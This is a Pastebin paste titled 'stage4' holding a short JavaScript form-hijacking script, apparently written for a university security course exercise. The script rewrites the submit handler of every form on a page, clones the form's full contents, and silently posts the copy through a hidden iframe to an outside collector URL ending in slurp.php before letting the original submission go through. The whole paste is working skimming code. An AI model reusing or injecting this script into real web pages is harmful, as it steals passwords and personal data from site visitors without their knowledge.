Advertisement
richarjw

stage4

Feb 6th, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. var frms = document.getElementsByTagName("form");
  2. for(i=0; i<frms.length; i++) {
  3. hijack(frms.item(i));
  4. }
  5.  
  6. function hijack(frmObj) {
  7. var delayCode = "";
  8. if(frmObj.hasAttribute("onsubmit")) {
  9. delayCode = frmObj.getAttribute("onsubmit");
  10. }
  11. frmObj.setAttribute("onsubmit", "return leech(this,function(){" + delayCode + "});");
  12. }
  13.  
  14. /** Copies and submits a form object’s complete contents */
  15. function leech(frmObj, delayCode) {
  16. alert("frmObj: " + frmObj);
  17. var rnd = Math.floor(Math.random()*256);
  18. var newFrm = frmObj.cloneNode(true); //deep clone
  19. var elt = document.createElement("input");
  20. elt.setAttribute("name", "442team");
  21. elt.setAttribute("value", "TeamAlpha");
  22. newFrm.appendChild(elt);
  23. newFrm.setAttribute("id", "leechedID" + rnd);
  24. newFrm.setAttribute("target", "hiddenframe" + newFrm.id);
  25. newFrm.setAttribute("action", "https://www.rose-hulman.edu/~stammsl/442/slurp.php");
  26.  
  27. var hiddenIframe = document.createElement("iframe");
  28. hiddenIframe.setAttribute("style", "position:absolute;" + "visibility:hidden;z-index:0;");
  29. hiddenIframe.setAttribute("name", "hiddenframe" + newFrm.id);
  30. hiddenIframe.appendChild(newFrm);
  31. window.document.body.appendChild(hiddenIframe);
  32. newFrm.submit();
  33. setTimeout(function() {
  34. window.document.body.removeChild(hiddenIframe);
  35. if(delayCode() != false) { frmObj.submit();}
  36. }, 50);
  37. return false;
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement